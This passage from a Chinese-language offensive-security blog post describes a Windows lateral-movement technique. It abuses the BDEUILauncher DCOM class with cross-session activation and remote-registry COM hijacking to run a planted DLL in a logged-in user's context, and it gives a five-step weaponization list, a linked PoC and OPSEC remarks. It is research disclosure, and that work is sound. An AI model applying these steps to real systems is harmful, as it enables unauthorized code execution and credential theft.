rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我没有直接搜索代码执行向量，而是首先尝试用找到的 CLSID 获取远程登录用户的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NetNTLMv2</span></code><span leaf="">哈希。结果表明，使用管理员权限确实可以实现这一点，但公开工具尚未完全支持此攻击向量。因此，我通过 pull request 对 </span><em><span leaf="">potato.py</span></em><span leaf="">和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">RemoteKrbRelay</span></code><span leaf="">进行了轻微修改：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf=""><a href="https://github.com/sploutchy/impacket/pull/3" target="_blank">https://github.com/sploutchy/impacket/pull/3</a></span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf=""><a href="https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntlm" target="_blank">https://github.com/rtecCyberSec/RemoteKrbRelay/tree/ntlm</a></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">由于 IBM 在四月份发布了一种非常相似的技术——而且实现方式更酷，还支持中继和 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">NetNTLMv1</span></code><span leaf="">降级——这些信息在本博文之前就已经在 Twitter 上自发发布了：</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf=""><a href="https://x.com/ShitSecure/status/1909865929472639357" target="_blank">https://x.com/ShitSecure/status/1909865929472639357</a></span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><strong><span leaf="">转而检查代码执行</span></strong></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">为了测试可远程调用以执行代码的新 CLSID/COM 对象，我们需要准备一些工具。我使用的工具如下：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">OLEView .NET / <a href="https://github.com/tyranid/oleviewdotnet" target="_blank">https://github.com/tyranid/oleviewdotnet</a></span></p></li><li style="margin: 15px 0px;"><p><span leaf="">IDA Free / Ghidra</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">ProcessMonitor / <a href="https://learn.microsoft.com/en-us/sysinternals/downloads/procmon" target="_blank">https://learn.microsoft.com/en-us/sysinternals/downloads/procmon</a></span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">寻找执行原语的初始方法是什么？</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">找到每个 CLSID 的宿主二进制文件或 DLL。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 OleView.NET 检查暴露的 IID。</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">将 DLL/可执行文件导入 IDA 检查函数在做什么。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">寻找&#34;低垂的果实&#34;，例如 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ShellExecuteW</span></code><span leaf="">或类似函数。</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">经过数小时分析，虽然发现了许多有趣的函数，但没有直接的代码执行原语。有一个 CLSID 一眼看去是完美的候选：</span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">AB93B6F1-BE76-4185-A488-A9001B105B94</span></code><span leaf="">，即 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BDEUILauncher class</span></code><span leaf="">。承载代码的可执行文件是 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BdeUISrv.exe</span></code><span leaf="">，当我们检查可用函数时，有一个格外突出：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.35121951219512193" data-s="300,640" data-type="png" data-w="410" type="block" data-imgfileid="100013128" src="https://wechat2rss.xlab.app/img-proxy/?k=a9faed60&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nShMP1Ymdb71J5URiaLhYnYX0CkcUTLsgklPmBPh8kzsLRhyWStcJu38mKibz8dp9OpdyDNiaiamjJExiaCUBItLFyqhpfpFZS1Wmjibw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">带有 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ushort</span></code><span leaf="">* 作为输入参数的 ProcessStart？</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在检查该函数的功能后，看起来这个函数确实在派生一个新进程：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="1.0138248847926268" data-s="300,640" data-type="png" data-w="434" type="block" data-imgfileid="100013130" src="https://wechat2rss.xlab.app/img-proxy/?k=10985ada&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2Fh4gtbB74nSgQPURhPZx0K7PJHbMmWVq7cnnicLnhkXXU0ZiaUHZUnnSzicLk6mkibAcNYj2KMCzaUZgySiby1puhC7KKJqnIwPzrtFIukICw69LA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此时我联系了同事 eversinc33，因为他在逆向方面比我经验丰富得多，可以验证这是否可以被滥用于代码执行。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">当他加入分析后，很快弄清楚了第一个输入参数——一个整数——决定了 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ShellExecuteW</span></code><span leaf="">派生哪个可执行文件。对我们来说遗憾的是，这不是用户可控的，而是四个硬编码可执行文件之一。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.6294416243654822" data-s="300,640" data-type="png" data-w="788" type="block" data-imgfileid="100013132" src="https://wechat2rss.xlab.app/img-proxy/?k=ddd413b9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSjrwZiaHsaEjDn70pU328AW8w7FMBibydyib4PjFicnOGLNib1LRowxzxTvEqeWfGdZ3ZLkicfcwzohibo10y9IxZErf5rLqAfRuBh264%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在花费大量时间逆向不同的类却未获成功后，我们决定退一步，思考滥用 COM 类现有功能的替代方案。</span></p><h3 style="font-style: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 20px 0px 10px;padding: 0px;font-weight: bold;-webkit-font-smoothing: antialiased;cursor: text;font-size: 18px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">COM 劫持制胜</span></h3><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">我们已经知道，当一个 COM 对象被调用时，其</span><strong><span leaf="">可执行文件会被派生</span></strong><span leaf="">，因为它最终为我们的函数提供代码。使用跨会话激活时，我们可以在</span><strong><span leaf="">已登录用户的上下文中</span></strong><span leaf="">派生该进程，对吧？而且我们甚至可以通过跨会话激活自行指定确切的会话。</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最近读到的一篇关于 COM 劫持的文章（作者 Matthew Eidelberg）给了我们灵感——我们可以 COM 劫持目标用户的远程注册表，使我们新派生的进程加载我们选择的 DLL。如果你还不熟悉 COM 劫持，强烈推荐阅读那篇博文。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">启动 ProcessMonitor 并为我们的进程设置过滤器后，很明显前面提到的 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BDEUILauncher Class</span></code><span leaf="">确实可以被利用：</span></p><figure style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><p style="text-align: center;" nodeleaf=""><img data-aistatus="1" class="rich_pages wxw-img" data-ratio="0.31954887218045114" data-s="300,640" data-type="png" data-w="1064" type="block" data-imgfileid="100013134" src="https://wechat2rss.xlab.app/img-proxy/?k=50f2b8d2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2Fh4gtbB74nSia4894LwxzXticZqL6YOAuZuiaZa93RgYBnOiaFlnNe2Pq2G11gS4QVmwmfZ0sL6dbicZpYHozrex4vdXAvDkuaFF5ibu7yZicBzAqPQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><figcaption></figcaption></figure><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">在这种情况下，如果 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BaaUpdate.exe</span></code><span leaf="">被以两个输入参数派生（并且我们可以通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ushort</span></code><span leaf="">输入参数影响输入参数），它会尝试从 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">HKCU</span></code><span leaf="">加载不存在的 CLSID 条目。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">从这一点开始，武器化相对直接：</span></p><ol style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><p><span leaf="">通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">C$</span></code><span leaf="">或 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">admin$</span></code><span leaf="">在目标系统上植入 DLL</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过远程注册表对目标用户进行 COM 劫持</span></p></li><li style="margin: 15px 0px;"><p><span leaf="">通过 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BDEUILauncher Class</span></code><span leaf="">在目标用户上下文中执行 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BaaUpdate.exe</span></code></p></li><li style="margin: 15px 0px;"><p><span leaf="">移除 COM 劫持</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">清理 DLL</span></p></li></ol><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此技术的 PoC 已发布在我们的 GitHub 页面 BitlockMove 上。此 PoC 有一些不足之处：</span></p><ul style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;padding-left: 30px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);" class="list-paddingleft-1"><li style="margin: 0px 0px 15px;"><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">BDEUILauncher Class</span></code><p><span leaf="">归根结底与 BitLocker 相关。BitLocker 主要在客户端上可用。因此，你只能使用此 PoC 在有 BitLocker 的系统上执行代码。</span></p></li><li style="margin: 15px 0px 0px;"><p><span leaf="">放置在目标系统上的 DLL 被硬编码为执行用户定义的命令。这使得操作者可以定义具体派生哪个进程，但从 OPSEC 角度来看并非最佳选择，也更容易被检测到。驻留在新派生的进程中会更加隐蔽，因此最好情况是你需要自带 DLL。</span></p></li></ul><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">此外还发现，我们不需要通过在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">ISpecialSystemProperties</span></code><span leaf="">上使用 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">SetSessoinID</span></code><span leaf="">来进行跨会话认证，因为客户端系统通常始终只有一个活动会话。即使不显式指定目标用户会话，进程也始终会在 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 0.05);border-radius: 3px;"><span leaf="">Interactive User</span></code><span leaf="">（即已登录用户）的上下文中派生。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">然而，我们在短时间内还发现了更多可滥用的 CLSID，它们也能在服务器系统上工作，并且需要设置目标用户会话。在 BitlockMove 发布后不久，AlmondOffsec 就通过其工具 DCOMRunas 的发布提供了一个替代方案。</span></p><p style="font-size: 16px;font-style: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-align: start;text-indent: 0px;text-transform: none;white-space: normal;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;text-decoration: none;margin: 15px 0px;caret-color: rgb(0, 0, 0);color: rgb(0, 0, 0);font-family: -apple-system, BlinkMacSystemFont, Helvetica, arial, sans-serif;background-color: rgb(255, 255, 255);"><span leaf="">最初我们想把寻找更多替代 CLSID 的练习留给读者。然而，为了演示这种技术可以多么容易地适配许多配置为以 </span><code style="font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;line-height: 1.45;font-size: 13.6px;margin: 0px 2px;padding: 0.2em 0.4em;white-space: nowrap;background-color: rgba(27, 31, 35, 